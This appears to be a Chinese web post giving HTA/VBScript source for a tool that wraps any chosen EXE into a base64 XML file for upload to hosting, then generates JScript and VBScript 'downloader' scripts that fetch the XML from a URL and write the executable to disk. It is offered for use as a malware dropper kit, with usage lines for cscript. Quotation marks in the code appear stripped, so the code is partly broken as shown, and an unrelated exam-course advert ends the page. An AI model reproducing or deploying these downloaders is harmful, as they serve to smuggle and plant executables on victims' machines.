以下代码保存成hta文件,可生成js和vbs下载者
代码如下:
<hta:application
id=xmldown
caption=yes
scroll=auto
border=none
borderstyle=static
singleinstance=yes
maximizebutton=no
border=no
icon=dxdiag.exe>
<script language=vbs>
sub window_onload
window.resizeto screen.width/1.6,screen.height/3
window.moveto 200,200
end sub
sub createxml(path,file)
set objstream = createobject(adodb.stream)
objstream.type = 1
objstream.open()
objstream.loadfromfile(path)
objstream.position = 0
set xmldoc = createobject(microsoft.xmldom)
xmldoc.async = false
set root = xmldoc.createprocessinginstruction(xml, version='1.0' encoding='utf-8')
xmldoc.appendchild(root)
xmldoc.appendchild(xmldoc.createelement(root))
set xfile = xmldoc.selectsinglenode(//root).appendchild(xmldoc.createelement(file))
set xstream = xfile.appendchild(xmldoc.createelement(stream))
xstream.setattribute xmlns:dt, urn:schemas-microsoft-com:datatypes
xstream.datatype = bin.base64
xstream.nodetypedvalue = objstream.read()
xmldoc.save(file)
set xmldoc = nothing
set root = nothing
set objstream=nothing
end sub
function x(obj)
set x=document.getelementbyid(obj)
end function
function findfile(str)
set fso = createobject(scripting.filesystemobject)
if fso.fileexists(str) then
findfile=true
else
findfile=false
end if
end function
function jsdown()
set fso = createobject(scripting.filesystemobject)
with fso.opentextfile((createobject(wscript.shell)).currentdirectory&\jsdown.js,2,true)
.write x(jsdown).value
end with
end function
function vbsdown()
set fso = createobject(scripting.filesystemobject)
with fso.opentextfile((createobject(wscript.shell)).currentdirectory&\vbsdown.vbs,2,true)
.write x(vbsdown).value
end with
end function
</script>
<body>
<h4>1.生成下载用的xml文件</h4>
选择下载的exe文件:<input type=file name=file1 id=file1 size=20>
保存路径 <input type=text name=path id=pathname value=c:\down.xml size=20>
<input type=button value=生成xml文件 onclick='vbs:createxml x(file1).value,x(pathname).value:if findfile(x(pathname).value) = true then msgbox(生成成功,请传到某个空间):x(url).innerhtml=<font color=red>生成成功,请传到某个空间</font>'> <br>
<h4>2.生成下载者</h4>
<button onclick='vbs:jsdown():if findfile(jsdown.js) = true then msgbox 生成成功:x(url).innerhtml=用法是cscript jsdown.js xmlurl savepath' >生成js下载者</button><button onclick='vbs:vbsdown():if findfile(vbsdown.vbs) = true then msgbox 生成成功:x(url).innerhtml=<font color=blue>用法是cscript vbsdown.js xmlurl savepath</font>'>生成vbs下载者</button><br><br><br><br>
<div id=url></div>
<textarea style=visibility:hidden name=jswodn id=jsdown rows=1 cols=1>
var objargs = wscript.arguments;
var objxmlfile =new activexobject(microsoft.xmldom);
objxmlfile.async=false;
objxmlfile.load(objargs(0).tolowercase());
do
{
wscript.sleep(100);
}
while (!objxmlfile.readystate == 4)
if (objxmlfile.readystate == 4)
{
var objstream = new activexobject(adodb.stream)
var objnodelist =objxmlfile.getelementsbytagname(stream)[0].nodetypedvalue
with(objstream)
{
objstream.type = 1;
objstream.open();
objstream.write(objnodelist);
objstream.savetofile(objargs(1).tolowercase(),2);
objstream.close();
}
}
delete objxmlfile;
delete objstream;
</textarea>
<textarea style=visibility:hidden name=vbswodn id=vbsdown rows=1 cols=1>
set objxmlfile = createobject(microsoft.xmldom)
objxmlfile.async=false
objxmlfile.load(wscript.arguments(0))
do while objxmlfile.readystate<>4
wscript.sleep 100
loop
if objxmlfile.readystate = 4 then
set objnodelist = objxmlfile.documentelement.selectnodes(//file/stream)
set objstream = createobject(adodb.stream)
with objstream
.type = 1
.open
.write objnodelist(0).nodetypedvalue
.savetofile wscript.arguments(1), 2
.close
end with
set objstream = nothing
end if
set objxmlfile = nothing
</textarea>
</body>
2025国考·省考课程试听报名